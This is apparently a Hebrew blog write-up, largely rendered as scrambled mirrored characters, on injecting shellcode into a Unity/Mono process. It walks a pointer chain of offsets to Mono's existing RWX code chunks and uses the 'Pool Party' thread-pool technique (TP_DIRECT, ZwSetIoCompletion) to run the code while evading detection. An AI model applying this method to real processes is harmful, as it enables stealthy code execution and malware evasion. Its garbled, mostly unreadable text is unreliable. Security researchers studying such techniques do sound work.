˥ˣ˸˲ˢ,  ˣˬ˩ ˧˪˩ ˫˰ ˧˶˞ˮ˧˟ˢ ˸˞ ˯ˣ˶˲˪ ˞˪˞Ghidra  ˣ˞IDA ˷ˬ˸˷ˢ˪ˣ ,ˢ ˧˴˟˵˟-Symbol  ˧˥˸˲ˬ˷

Unity ˫ˢ˪˷ ˸˶˷˟ ˫˧˶˧˞˷ˬ.  ˧˪˞˟ˣ˪ˠˢ ˢˮ˸˷ˬ˟ ˷ˣˬ˧˷ˢ˷ ˟˪ ˧˸ˬ˷ ˶˵˥ˬ ˦˰ˬ ˶˥˞˪

mono_root_domain  ,˰ˣˮˬˢ ˸˞ ˫˧˪ˢˮˬ˷ ˫˧˵˪˥ˢ ˧˟ˠ˪ ˟˶ ˰ˡ˧ˬ ˶ˠˣ˞ ˫˴˰˟ ˞ˣˢˣ ,˶˸ˣ˧˟ ˳ˣ˲ˮ ˞ˣˢ

˶ˬ˷ˮ ˭ˣ˶˩˧ˤ˷ ˢ˲˧˞ ˪˷ˬ˪: 

 

˫˷˟ ˫˧ˮˣ˸ˮ ˢˮ˟ˬ˪ ˰˧˟˴ˬ ˢˮ˸˷ˬˢ-"_MonoDomain˟ ˣ˸ˣ˞ ˞ˣ˴ˬ˪ ˭˸˧ˮˣ ,"-Offset 0x751020  ˸˪˧˥˸ˬ

.ˢˮ˩ˣ˸ˢ ˭ˣ˶˩˧ˤ ˧ˣ˲˧ˬ  ˸ˣ˞˶˪ ˭˸˧ˮ ,˰˧˟˴ˬ ˢˮ˸˷ˬˢ ˣ˧˪˞ ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬ ˪˧˩ˬ˷ ˭˩ˣ˸ˢ ˨˶ˡ ˫˧˪˪ˣˠ ˶˷˞˩

˫˷˟ ˰˧˟˴ˬ ˞ˣˢ ˶ˬ˷ˮ˷ ˭ˣ˶˥˞ˢ ˰ˡ˧ˬˢ˷-memory_manager˟ ,-Offset 0x248: 

 

https://docs.unity.com/ugs/manual/cloud-diagnostics-advanced/manual/ConnectToSymbolServers
https://docs.unity.com/ugs/manual/cloud-diagnostics-advanced/manual/ConnectToSymbolServers
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!˫˧˷˲˥ˬ ˣˮ˥ˮ˞˷ ˢˬ ˶ˣ˟˰ ˭ˣˣ˧˩ ˶˟˩ ˢˤ " ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬ ˢˬ ˢ˞˶ˮ ˞ˣ˟_MonoMemoryManager ˪˧˩ˬ "

ˣ˩ˣ˸˟: 

 

˟˷ ˸ˣ˞˶˪ ˭˸˧ˮ-Offset 0x50 ˰ˣˮˬˢ ˪˷ ˡˣ˵ ˪ˢˮˬ˪ ˰˧˟˴ˬ ˪˧˩ˬ ˞ˣˢ. 

ˬ˷˩ˣ˵ˢ ˪ˣˢ˧ˮ ˪˷ ˫˧ˮˣ˸ˮ ˢˮ˟ˬ˟ ˫˧˦˧˟:ˢ˞˟ˢ ˢˮˣˬ˸˟˷ ˡ 

 

 ˪˷ ˸˶˷ˣ˵ˬ ˢˬ˧˷˶ ˵˧ˤ˥ˬ ˞ˣˢ˷ ˫˧˪ˠˬCodeChunks ˵˶˲ ˸˞ ˞ˣ˶˵˪ ˦ˣ˷˲ ˪˩ˣˮ ˸˰˩ !˫˪˷ˣˬ ,ˢ ˡˣ˵

˟ ,ˢˬ˧˷˶˟˷ ˭ˣ˶˥˞ˢ-Offset 0x10  ˡˣ˵ ˪˷ ˰˧˟˴ˬ˪ ˰˧˟˴ˢ˪ ˶ˣˬ˞ ˢˮ˸˷ˬ ˣ˸ˣ˞ˣ ,ˢˮˣˬ˸˟ ˷ˠˡˣˬ˷ ˧˲˩

RWX ˢ ˸˞ ˣ˧˪˞ ˟ˣ˸˩˪ ˭˸˧ˮ˷-Shellcode .˵ˣ˥˶ˬ ˣˮ˪˷ 

:˨˩ ˢ˞˶˧ ˢˤ ,ˣˮ˪˷ ˸ˣ˞˧˶˵ˢ ˸˞ ˫˩˯˪ ˨˶˦˴ˮ ˫˞ ˤ˞ 

мΦ ˢ ˪˷ ˢ˞˧˶˵-mono_root_domain  ˸˟ˣ˸˩˟mono-2.0-bdwgc.dll+0x751020 

нΦ ˢ ˪˷ ˢ˞˧˶˵-memory_manager  ˸˟ˣ˸˩˟mono_root_domain+0x248 

оΦ ˢ ˪˷ ˢ˞˧˶˵-code_manager  ˸˟ˣ˸˩˟memory_manager+0x50 

пΦ  ˸˟ˣ˸˩˟ ,ˢˮˣ˶˥˞ˢ ˸˟ˣ˸˩˪ ˰˧˟˴ˬˢ ˪˷ ˢ˞˧˶˵code_manager+0x10 

рΦ  ˭˩˪ ,˰˧˟˴ˬ˪ ˢ˰˧˟˴ˬ ˞˧ˢ˷ ˫ˣ˷ˬ ˸˟ˣ˸˩˪ ˸˲˯ˣˮ ˢ˞˧˶˵- last_rwx_alloc+0x00 
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˟ ˧˸˟˸˩˷ ˢˮ˩ˣ˸˟ ˭ˣ˶˩˧ˤˢ ˣ˸ˣ˞ ˪˷ ˢ˞˧˶˵ ˶˥˞˪-C ˭˸˧ˮ ,ˢ˷˪ˣ˥ˢ ˪˰˟ ˶˟˧˧˶ˡˢ ˪˷ ˪ˣ˴˧ˮ ˸˶ˤ˰˟ˣ ,

 ˪ˣˬ ˢ˶˴˵ ˢ˵˧ˡ˟ ˫˰ ˢˮˣ˩ˮ ˞˧ˢ˷ ˞ˡˣˣ˪ˣ ,˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪Process Hacker: 

 

:˧ˮ˲˪ ˶˞ˣ˸˷ ˧˲˩ ˵ˣ˧ˡ˟ ,ˡˣ˵ˢ ˢˮˢˣ 

 

ˢ ˸˞ ˟ˣ˸˩˪ ˶˷˲˞ ˭˞˪ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞ ˣ˧˷˩˰ ,˟˧ˮˠˬ-Shellcode ˣˮ˪˷,  ˣˮ˧˶ˣ˟˰ ˱˯ˣˮ ˭ˣ˶˩˧ˤ ˳ˣ˵˪˧˞ ˰˴˟˧˷

 ˣ˸ˣ˞ ˨˶ˡCode manager. 

.˭ˣ˷˞˶ˢ ˟˪˷ˢ ˫˰ ˣˮˬ˧˧˯ ˞˪ ˭˧˧ˡ˰ ,˳ˣ˶˧ ˡˣ˵˷ ˣˮ˸˧˞ˬ ˷˶ˣˡ ˧ˮ˷ˢ ˟˪˷ˢ˷ ˧ˮ˲ˬ  ˢ˞˧˶˵ ˸˶˷˶˷ ˣˮ˪ ˷˧

 ˫ˣ˵˧ˬ˪ ˣˮ˸ˣ˞ ˢ˞˧˟ˬ˷RWX ˢ ˸˞ ˫˧˷ˮ ˣ˟-Shellcode ˨˧˞ ˭˧˟ˢ˪ ˫˧˩˧˶˴ ˭˧˧ˡ˰ ˣˮ˥ˮ˞ ˪˟˞ ,˶ˡˢˮ ˢˤˣ ,

.ˡˣ˵ ˳˧˶ˮ ˪˪˩˟ ˣˮ˥ˮ˞ 
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˧˸ˣ˶˧˶˷ ˡˣ˵ ˸˴˶ˢ 

 ˰˴˟˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,˵ˣ˥˶ˬ ˧ˮˣ˷˞˶ ˡˣ˵ ˳˧˶ˢ˪ ˫˧˩˶ˡ ˭ˣˬˢ ˷˧Patch  ˣ˞ ,˧˶ˣˤ˥ˬ ˭˲ˣ˞˟ ˸˞˶˵ˮ˷ ˢ˧˴˵ˮˣ˲˪

˟ ˞˴ˬˮ˷ ,˭ˬˤ ˢˬ˩ ˪˩ ˸˞˶˵ˮ˷ ˢ˧˴˵ˮˣ˲ ˪˷ ˰˧˟˴ˬ˪-data section.  ˸˴˵ ˨˶ˡ ˫˰ ˸˩˪˪ ˧˸˧˴˶ ,˸˞ˤ ˫˰

 ˫˸ˣ˞˪ ˸˪˲ˣˮ ˞˪˷ ,ˢ˥ˣ˦˟ˣ ,ˢ˟˧ˮˠˬ ˶˸ˣ˧race conditions ˟ ˭ˢ˧˪˞ ˰˧ˠˢ˪ ˪˩ˣˮ˷ ˪˷ ˡˣ˵ ˨ˣ˶˰ˮˣ ˢˡ˧ˬ

 ˸˧˶ˣ˵ˬ ˨˶ˡ ˫˰ ˸˩˪˪ ˧˸˶˥˟ ˢˤ ˪˪ˠ˟ˣ .˵˥˷ˬˢˢˬ˯˶ˣ˲˷  ˶˵ˣ˥ˢ ˧ˡ˧ ˪˰˟˧˧˟˪ ˭ˣ˪˞ ˫˷ˢ ˸˥˸-Pool 

Party ˫ˣ˷ˬ ,˫˧˧ˮ˩˦ˢ ˫˧˦˶˲ˢ ˸˞ ˫˩ˬ ˨ˣ˯˥˞ ˭˩˪ˣ ,˭ˣ˪˞ ˧ˡ˧ ˪˰ ˟˸˩ˮ˷ ˞˪ˬˣ ˱˧˵ˬ ˶ˬ˞ˬ ˷˧ .

 ˢ˸ˣ˞˟ ˸ˣ˷ˬˣ˷ˬ ˸ˣ˧ˢ˪ ˸ˣ˪ˣ˩˧ ˸ˣ˶˥˞ ˸ˣ˦˧˷ˣ ,ˢˤˢ ˶ˬ˞ˬˢ ˶ˣ˟˰ ˸˧˲˧˴˲˯ ˢˮ˧˞ ˢ˦˧˷˟ ˷ˣˬ˧˷ˢ˷

 ˫˷˟ ˫˧ˮˣ˸ˮ ˢˮ˟ˬ ˟ˣ˸˩˪ˣ ˶ˣ˴˧˪ ˞ˣˢ ˢ˦˧˷˟ ˷ˬ˸˷ˢ˪ ˪˧˟˷˟ ˣˮ˸˧˞ˬ ˷˶ˡˮ˷ ˢˬ ,˸˞ˤ ˫˰ .ˢˡ˧ˬ

TP_DIRECT ˧ˤ˪ ˫˷˟ ˢˡ˷ ˵˧ˤ˥ˬ ˶˷˞ ,˵˥˷ˬˢ ˭ˣ˶˩Callback ˣ˸ˣ˞ ˡˣ˵ˢ ˫˧˧˵ ˢ˟ ˸˟ˣ˸˩˪ ˰˧˟˴ˬˢ ,

˳˧˶ˢ˪ ˢ˴˶ˮ.  ˪˲˩˷˪ ˨˶˦˴ˮ ˭˩ˬ ˶˥˞˪Handle  ˸ˣ˞˷˶ˢ ˪˰˟IO_COMPLETION_ALL_ACCESS  ˡˣ˰ ˷˧)

˟ ˷ˬ˸˷ˢ˪ ˧˸˶˥˟ ˨˞ ,˸ˣˡ˟ˣ˰˷ ˢ˵˧ˮ˩˦ˢ ˪˷ ˫˧˩˶ˡ ˢˬ˩-IO Completion ˶˲˯ˬ ˢ˯˶ˠ˩ ˟˷˥ˮ˷ ,4 ˟-

GitHub ˵˧ˮ˩˦ˢ ˪˷.(ˢ 

 ˸˧˧˴˵ˮˣ˲˪ ˞˶˵ˮ ˭˩ˬ ˶˥˞˪Win API  ˫˷˟ZwSetIoCompletionΣ  ˫˧ˮˣ˸ˮ ˢˮ˟ˬ˪ ˰˧˟˴ˬ ˢ˪ ˶˧˟˰ˮˣ

TP_DIRECT "˭˟˶ˣ˵"ˢ ˨˧˪ˢ˸ ,ˣˤˢ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˢ ˶˥˞˪ .˶˸ˣ˧ ˫ˡ˵ˣˬ ˣˮ˶˴˧˷,  ˞ˣˢ ˣˮ˪˷ ˢ˶˵ˬ˟˷

 ˵˥˷ˬˢ ˸˶ˤ˰˟ ˰˧˟˴ˬ ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬ ˣ˧˪˞ ˡˣ˵ˢ ˸˞ ˳˧˶˧ ,˟˷˥ˬWorker thread ˨˧˪ˢ˸˟ ˫˧˧˵˷. 

:˨˩ ˢ˞˶˧ ˣˮ˪˷ ˢˬˠˡˢ ˡˣ˵ˢ ˱ˣ˯˟˪ 

 

 ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬ ˸˞ ˫˧˟˸ˣ˩ ˣˮ˞˷ ˸ˣ˞˶˪ ˭˸˧ˮTP_DIRECT .˳˧˶ˢ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˣ˸ˣ˞ ˡˣ˵ˢ ˸˞ ˭˩ˬ ˶˥˞˪ˣ ,

 ˸˞ ˵˶ˣ ˨˞ ˳˧˶ˬ ˧ˮ˞ ˢˬˠˡˢ ˶ˣ˸˟ˢ˞˶ˣˢˢ int 3Σ  ˶˷˞ˢ˲˧˯ˣˬ .ˢˮ˩ˣ˸˪ ˵˯˲ˬ 

 ˢˮ˩ˣ˸ˢ ˸˥˸ ˳˶ ˵˥˷ˬˢ˷ ˧˸˞ˡ˧ˣˣ ,ˢ˴˶ˢˢ ˧ˮ˲˪WinDbgΣ  ˸ˬ˞˟ ˢ˵˧˯˲ˢ˷ ˸ˬ˞˪ ˪˵ ˢ˧ˢ˧˷ ˪˧˟˷˟

.˸˷˥˶˸ˬ 

  

https://x.com/alon_leviev
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
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˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩  ,ˢ˞˟ˢ ˢˮˣˬ˸˟ ˣˮ˶˴˰ ˸ˬ˞˟ˢ˞˶ˣˢ˟ int 3ˢ ˸˧ˮ˯˥ˬ˟ ˸ˣ˞˶˪ ˭˸˧ˮˣ ,-Thread  ˣˮ˥ˮ˞˷

 ˢ˧˴˵ˮˣ˲ˢ ˸˥˸ ˫˧˴˶TppWorkerThread: 

 

 

 

ˢ ˸˟˧˸˩-Shellcode ˭ˣ˶˩˧ˤ ˳˵˪˞ˬ˷ 

 ˡˣ˵ ˸˴˶ˢˣ ,˭ˣ˶˩˧ˤ ˪˷ ˢ˞˧˶˵ˣ ˢ˟˧˸˩ ˣˮ˪ ˷˧˷˩ ˣ˧˷˩˰ ˷ˡ˥ ˭ˣ˶˩˧ˤ ˳˵˪˞˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,˸˧˸ˣ˶˧˶˷

.˵˥˷ˬˢ ˧ˡ˧ ˪˰ ˷ˬˣ˷ˬ˷ ˧ˬ˧˦˧ˠ˪ ˡˣ˵ ˪˷ ˸ˣ˞˶ˮ ˢˬˡˬ˷ ˵˥˷ˬ˟ ˸ˮˬ ˪˰  ˣˮ˪˷ ˭ˣ˶˩˧ˤˢ ˸˞ ˸ˣˣ˯ˢ˪

 .ˣˬ˴˰ ˶ˣ˟˰ ˭ˣ˶˩˧ˤˢ ˸˞ ˶ˬˣ˷ˣ ˳˵˪˞ˬ ˵˥˷ˬˢ ˡ˴˧˩ ˭˧˟ˢ˪ ˨˶˦˴ˮ ,˵˥˷ˬˢ ˪˷ ˭ˣ˶˩˧ˤ˩-˟Windows ,

˟ ˢ˧˴˵ˮˣ˲ ˸ˬ˧˧˵-Win API ˧ˤ ˸˷˵˟ ˶ˣ˟˰ ˸˷ˬ˷ˬ ˶˷˞ ˞ˣˢ ˢˬ˷ ,ˢ˪˰˲ˢˢ ˸˩˶˰ˬˬ ˭ˣ˶˩VirtualAlloc 

 ˫˷˟ ˸˟˥˶ˣˬ ˢ˯˶ˠ ˫ˠ ˸ˬ˧˧˵)VirtualAllocEx(˷ˣˬ˧˷˟ ˞˧ˢ˷ ˢ˞˶ˮ ˞˪ ˨˞ ,: 
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 ˸˶ˤ˰˟ ˸˞˶˵ˮ ˢ˧˴˵ˮˣ˲ˢ ˭˩˧ˢ ˷˲˥ˮ ˶˷˞˩Ghidra ˸˧˶ˮˠˢ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˞˴ˬˮ ,mono_valloc  ˶˷˞

˪ ˸˲˦˰ˬ˩ ˸˷ˬ˷ˬ-VirtualAlloc˭ˣ˶˩˧ˤ ˳ˣ˵˪˞ ˪˩˟ ˢ˪ ˞˶ˣ˵ ˰ˣˮˬˢ˷ ,: 

 

ˢ˞˪ˢ ˭˩ˣ ,ˢ˪ ˸˞˶ˣ˵ ˢ˧˴˵ˮˣ˲ ˢˤ˧˞ ˭˩ˬ ˶˥˞˪ˣ ,ˣˤˢ ˢ˧˴˵ˮˣ˲˪ ˸˞˶ˣ˵ ˢ˧˴˵ˮˣ˲ ˢˤ˧˞ ˷˲˥˪ ˭˸˧ˮ ˸˰˩ . ˨˩

 ˸˶˴ˣ˧˷ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˞ˣ˴ˬ˪ ˱ˣ˯˟ ˪˩ˣˮbuffer  ˡˣ˵ ˸˶˧ˬ˷˪ ˡ˰ˣˮˢ ˷ˡ˥Native .˵˥˷ˬˢ ˶ˣ˟˰ 

 ˢ˧˴˵ˮˣ˲ˢ˷ ˞ˣ˴ˬ˪ ˭˸˧ˮcodechunk_valloc ˪ ˸˞˶ˣ˵mono_valloc-.  ˸˞˶˵ˮ ˢ˧˴˵ˮˣ˲ˢ ˢ˸ˣ˞ ˧ˡ˧ ˪˰

new_codechunk:˸˧˶˵˧˰ˢ ˢ˧˴˵ˮˣ˲ˢ ˧ˡ˧ ˪˰ ˸˞˶˵ˮ ˶˷˞ , mono_code_manager_reserve_alignΥ 
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˸˶ˤ˰˟ ˸˴˵ ˯ˣˡˮ˧ˢ ˡˣ˵ˢ ˪˷ ˶ˣ˥˞˪ ˧˩ ˢ˪ˠˮ ,˧ˮ˲˪ ˧˸ˮ˧˧˴˷ ˸ˣ˧˴˵ˮˣ˲ ˸˶˷˶˷ ˣ˸ˣ˞˟ ˸ˡ˶˪ ˨˧˷ˬˮ ˫˞ ,

ˢˬ ˢ˞˧˶˵ˣ ˢ˟˧˸˩ ˶ˣ˟˰ ˷ˬ˷ˬ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˭ˣ˷˞˶ˢ ˶˦ˬ˶˲ˢ-CodeManager ˧ˮ˲˪ ˣˮ˞˴ˬ˷. s ˶˦ˬ˶˲

 ˪˷ ˧ˮ˷ˢ ˶˦ˬ˶˲˪ ˶˟ˣ˰ ˱ˣ˯˟ ˧ˮ˷ˢmono_valloc˧˴˵ˣ˪˞ ˪ˡˣˠ ˸˞ ˰˟ˣ˵˷ ,˧ ˸ˢ˭ˣ˶˩˧ˤ  ˰˧˲ˣˢ˷ ˧˲˩

ˬ ˢˮˣˬ˸˟-MSDN .˧˷˧˪˷ˢ ˶˦ˬ˶˲ˢ˷ ˢ˞˶ˮ  ˸ˣ˶˦ˬ ˶ˣ˟˰ ˷ˬˣ˷ˬalignment ˫˞ ˣˮˬˬ ˫˪˰˸ˢ˪ ˪˩ˣˮˣ ,

 ˣˮ˧ˢ ˳˵˪ˣ˞ˬ˷ ˡˣ˵ˢ˷ ˞ˡˣˣˬ˷ ˢ˧˴˵ˮˣ˲ ˡˣ˰˪ ˞˶˵ˮaligned ˞ˢ ˢ˧˴˵ˮˣ˲ˢ ˣˤ˷ ˥˧˦˟ˬ ˧ˮ˞):(ˢˮˣ˶˥ 

 

 ,ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˣˮ˞˴ˬ ˸˰˩ˢ ˭ˣ˪˥˪ ˷ˠ˧ˮ-Disassembly :ˢˮ˩ˣ˸ˢ ˭ˣ˶˩˧ˤ˟ ˢ˪˷ ˫ˣ˵˧ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˪˧˟˷˟ 

 

 ˟ˣ˸˩˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˣ˧˷˩˰shellcodeΣ  ˪˷ ˡˣ˵ ˢˬˡ˧˷ ˭ˣ˶˩˧ˤ ˣˮ˪ ˳˵˪˞˪ ˪˧˟˷˟ ˣˤˢ ˢ˧˴˵ˮˣ˲˪ ˞˶˵˧ ˶˷˞

˵˥˷ˬˢ.  ˞ˣˢ ˡˣ˵ ˭ˣ˶˩˧ˤ ˸ˣ˧˴˵ˣ˪˞˟ ˶˸ˣ˧˟ ˳ˣ˲ˮˢ ˪ˡˣˠˢ˷ ˭ˣˣ˧˩ˬ0x10000 ˫˧˸˟,  ˨˧˪ˢ˸˟ ˣˮ˧˞˶˷ ˧˲˩

ˢ ˪˰ ˪ˡˣˠ ˸˪˟ˠˬ ˢ˴˶ˮ ˞˪˷ ˪˪ˠ˟ .˶˲˯ˬˢ ˣ˸ˣ˞˟ ˣˮ˥ˮ˞ ˫ˠ ˷ˬ˸˷ˮ ,ˢ˵˧ˡ˟ˢ-DLL  ˟ˣ˸˩ˮ ,ˣˮ˪˷ ˧ˮˣˡˤˢ

:˧˯˧˯˟ ˲ˣ˪ ˡˣ˵ˬ ˪˧˥˸ˮ .˫˧ˬ˰˲ ˪˷ ˸˶ˡˠˣˬ ˸ˣˬ˩ ˢ˧˴˵ˮˣ˲˪ ˞˶˵˧˷ ˧˯˧˯˟ ˧˪˟ˬ˯˞ ˡˣ˵ 
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˩ ˰˴˟˸ ˶˷˞ ˢ˞˪ˣ˪ ˰˴˟ˬ ˡˣ˵ˢ ˣ˸ˣ˞-мл  ˶ˠˣ˞ˢ ˢ˶ˤ˥ ˪˩ ,˸ˣ˶ˤ˥ebx ˟ ˪ˡˠ˧-м  ˪ˣˬ ˪˞ ˣ˸ˣ˞ ˢˣˣ˷ˮˣr9d 

ˬ ˶˸ˣ˧ ˳˶ ˞˪ ˞ˣˢ˷ ˞ˡˣˣ˪ ˧ˡ˩˟-мл  ˶˲˯ˬ ˳ˣ˵˪˞ ˸˧˧˴˵ˮˣ˲˪ ˫˧˞˶ˣ˵ ˣˮ˥ˮ˞˷ ˪˪ˠ˟˷ ˭˟ˣˬ˩ .˫˧ˬ˰˲

ˢ ,˫˧ˬ˰˲-return value  ˶ˠˣ˞˟ ˶ˬ˷˧˧rax  ˸˟ˣ˸˩ˢ ˸˞ ˵˶ ˶ˣˬ˷˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˨˞ ,˷ˡ˥ˬ ˫˰˲ ˪˩

˪˩ˣˮ .ˢ˧˴˵ˮˣ˲ ˢ˸ˣ˞˪ ˢˮˣ˷˞˶ˢ ˢ˞˧˶˵ˢˬ ˫˧˪˟˵ˬ ˣˮ˥ˮ˞˷ ˣ ˸ˣ˴˧˲˵ ˸ˣ˰˴ˬ˞˟ ˸˞ˤ ˰˴˟˪-labels.  ˧˲˩

˴˶˦˧˞ˢ ˸˞ ˢ˴˧˶ˬ ˢ˞˪ˣ˪ˢˣ ˢˡ˧ˬ˟ ,ˡˣ˵˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷˧ ˶ˠˣ˞ˢ ˸˞ ˶ˣˬ˷ˮ ˣˮ˥ˮ˞ ,ˢˮˣ˷˞˶ˢ ˢ˧˧rax  ˨ˣ˸˪

r10 .ˣ˪˷ ˰ˡ˧ˬˢ ˸˞ ˶ˬ˷˪ ˧ˡ˩˟ 

  .˫˧ˮˣ˩ˮˢ ˫˧˶˦ˬ˶˲ˢ ˫˰ ˣˮ˞˴ˬ˷ ˢ˧˴˵ˮˣ˲˪ ˞ˣ˶˵˪ ˣˮ˧˧˪˰ ˪˩ ˫ˡˣ˵ ,˫˧˟ˣ˷˥ ˫˧˶˟ˡ ˧ˮ˷ ˣˮ˪ ˫˧˶˯˥ ˸˰˩

˞ ,˸˧ˮ˷˟ ˫˧˶ˬˣ˷ ˣˮ˥ˮ˞˷ ˨˶˰ˢ˷ ˶ˣ˩ˤ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ-r10  ˶ˣˬ˷˪ ˧˞ˡ˩ ˭˩˪ˣ ,ˣˮ˧˪˞ ˢ˶ˤ˥ ˶˷˵ˣ˸ˬ ˞˪

ˢ ˸˴˶ˢ ˧ˮ˲˪ ˶ˡˠˣˬ˷ ˫ˣ˵ˬ˟ ˣ˸ˣ˞-shellcode ˢ˧˧˴˵ˣ˪˞ˢ ˢ˶˴ˣˮ ˭˩˧ˢ ˸˰ˡ˪ˣ ˣ˸ˣ˞ ˞ˣ˶˵˪ ˪˵ ˢ˧ˢ˧˷ ˧ˡ˩˟ ,

.ˣˮ˪˷ ˢˮˣ˷˞˶ˢ 

:˭˞˩ ˫˧˲˯ˣˣ˸ˬ ˣ˪˪ˢ ˫˧˧ˣˮ˧˷ˢ ˧ˮ˷ 

 

 ˸ˣ˶ˣ˷ ˭˧˟у-мр  ˸ˣ˶ˣ˷ˢ ˭˧˟ˣ ,ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˢ ˸˰˴˟˸ˬос-от  ˢ˧˪˞ ˶ˣˬ˷˪ ˸˟ˣ˸˩ ˪˰ ˫˧˦˧˪˥ˬ ˣˮ˞

 ˭˸ˣ˞ ˨ˣ˶˰˸ ˣˮ˪˷ ˢˮ˩ˣ˸ˢ˷ ˨˶˦˴ˮ ˭˩˪ˣ ,˸ˣ˧ˬ˧˦˧ˠ˪ ˭ˮ˧˞ ˡˣ˵˟ ˸ˣˮ˧ˣ˴ˬ˷ ˸ˣ˟ˣ˸˩ˢ˷ ˭˟ˣˬ˩ .˰ˡ˧ˬˢ ˸˞

ˢ ˪˷ ˢ˴˶ˢˢˣ ˢ˟˧˸˩ˢ ˧ˮ˲˪ ˧ˬˣ˵ˬ ˭˲ˣ˞˟-shellcode. 
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˧˦˟ ˞ˣˢ˷ ,ˡˣ˵˟ ˭ˣ˶˥˞ ˡ˥˞ ˶˟ˡ ˵˶ ˣˮ˪ ˶˯˥ ˣ˧˷˩˰ ˶˷˞ ˫˧˶ˠˣ˞˟ ˷ˬ˸˷ˢ˪ ˫˧˴ˣ˶ ˞˪ ˣˮ˥ˮ˞ ˧˶ˢ .˸ˣ˥

 ˶˧ˤ˥ˬ ˭˩ˬ ˶˥˞˪ˣ ˸˧ˮ˯˥ˬ˟ ˫˧˧˦ˮˣˣ˪˶ˢ ˫˧˶ˠˣ˞ˢ ˪˩ ˸˞ ˶ˬˣ˷ ˧ˮ˞ ˭˩˪ ,ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ˢ ˧ˡ˧ ˪˰ ˫˧˯˶ˡˮ

 ˸˶˧ˬ˷ ˸˞ ˰˴˟˪ ˧˸˦˪˥ˢ .ˢ˞˧˶˵ˢ ˶˥˞˪ ˫˸ˣ˞-scontext  ˫˧˶ˠˣ˞ˢ ˪˩ ˪˰ ˣˤˢ˦˰ˬ˪ rax˥ˣˮ ˢˤ ˧˩ ,: 

 

 ˪˷ˬ˪) ˯ˣˡˮ˧ˣˣ ˪˷ ˸ˣˬ˧ˣ˯ˬ ˸ˣ˞˯˶ˠ˟ ˸ˣ˧˰˟ ˶˲˯ˬ˟ ˧˸˪˵˸ˮ ,˱˯ˣˮ˟24H2(,  ˣˬ˩ ˫˧˶ˠˣ˞ ˶˷˞˩ ˭ˢ˟rbx 

ˢ ˸˞ ˳˧˶ˬ ˶˷˞ ˡˣ˵ˢ ,˫˧ˣ˯ˬ ˨˶˰ˬ ˫˧ˠ˶ˣ˥-Worker thread  ˧˸˪˟ ˢ˞˪ˣ˪˟ ˭ˣ˩˧˪ˢ˸ˢ ˸˞ ˶˧˞˷˧ ˣ˞ ,˪˷˩˧

˸˵˯˲ˮ˸˞ˤ .  ˭˩˪ˣ ,˫˧˶ˠˣ˞ˢ ˸˞ ˣˮ˩˶˰˷ ˧ˮ˲˪ ˫˧˶ˣˬ˷ ˣ˧ˢ˷ ˫˧˩˶˰˪ ˢ˲˴ˬ ˡˣ˵ˢ˷ ˫ˣ˷ˬ ˸˞ ˰˴˟˪ ˟ˣ˷˥

ˢ ˫˸ˣ˞-push/pop-ˢ˶˧ˬ˷ ˫˧˰˴˟ˬ˷ ˫˧/ ˸˶ˤ˥ˢcontext :˧˪˟ˬ˯˞ˢ ˱ˣ˯ˣ ˸˪˧˥˸˟ 

  

ˣˮ˪˷ ˡ˟˰ˬˢ ˸˞ ˭˧˧ˮ˰˪ ˶ˣˬ˞˷ ˣˢ˷ˬ ˞˪ ˢˤ ,˪ˤˬ˟ ˪˟˞ ,ˡˣ˵ˢ ˸˞ ˶˰˩ˬ ˦˪˥ˢ˟ ˢˤ (: 

 ˨˶ˡ ˣˮ˪˷ ˡˣ˵ˢ ˸˞ ˶˧˟˰ˢ˪ ˭˸˧ˮ ˸˰˩Assembler˟ ˷ˬ˸˷ˢ˪ ˧˸˶˥˟ ˧ˮ˞ ,-Online x86 assembler 

 ˶˸˞ˢˬdefuse.ca .˪˪˩ ˢˮ˷ˬ ˞˪ ˢ˶˧˥˟ˢ ˪˟˞ ,˸ˣ˥ˣˮ ˪˧˟˷˟ 

https://defuse.ca/online-x86-assembler.htm
https://defuse.ca/
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 ˣˮ˪ ˶˧ˤ˥˧ ˶˸˞ˢArray :ˣˮ˪˷ ˢˮ˩ˣ˸˪ ˱˧˯ˣˢ˪ ˪˩ˣˮ ˣ˸ˣ˞ 

 

˟ ˸ˣˬˣ˵ˬ ˢˬ˩˪ ˟ˣ˸˩˪ ˵˶ ˨˶˦˴ˮ ˣ˧˷˩˰-shellcode  .ˣ˸ˣ˞ ˳˧˶ˮˣ ˵˥˷ˬˢ ˭ˣ˶˩˧ˤ˪ ˣ˸ˣ˞ ˟ˣ˸˩ˮ˷ ˧ˮ˲˪ 

 ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˟ˣ˸˩ˢ :ˡˣ˟˰˧ ˡˣ˵ˢ˷ ˧ˮ˲˪ ˭ˣ˶˩˧ˤ˪ ˟˸˩˧ˢ˪ ˫˧˩˧˶˴ ˫˧˞˟ˢ ˫˧˶˟ˡˢ ˸˷ˣ˪˷ ˫˩˶˧˩ˤˢ˪

ˢ ˪˷ ˸˟ˣ˸˩ˢ ,ˡˣ˵ ˳˵˪˞˪ ˪˧˟˷˟ ˫˧˞˶ˣ˵ ˣˮ˞ ˢ˧˪˞-Code manager ˧ˮ˲˪ ˣˮ˞˴ˬ ˢ˸ˣ˞,  ˶˧˟˰ˢ˪ ˪˧˟˷˟

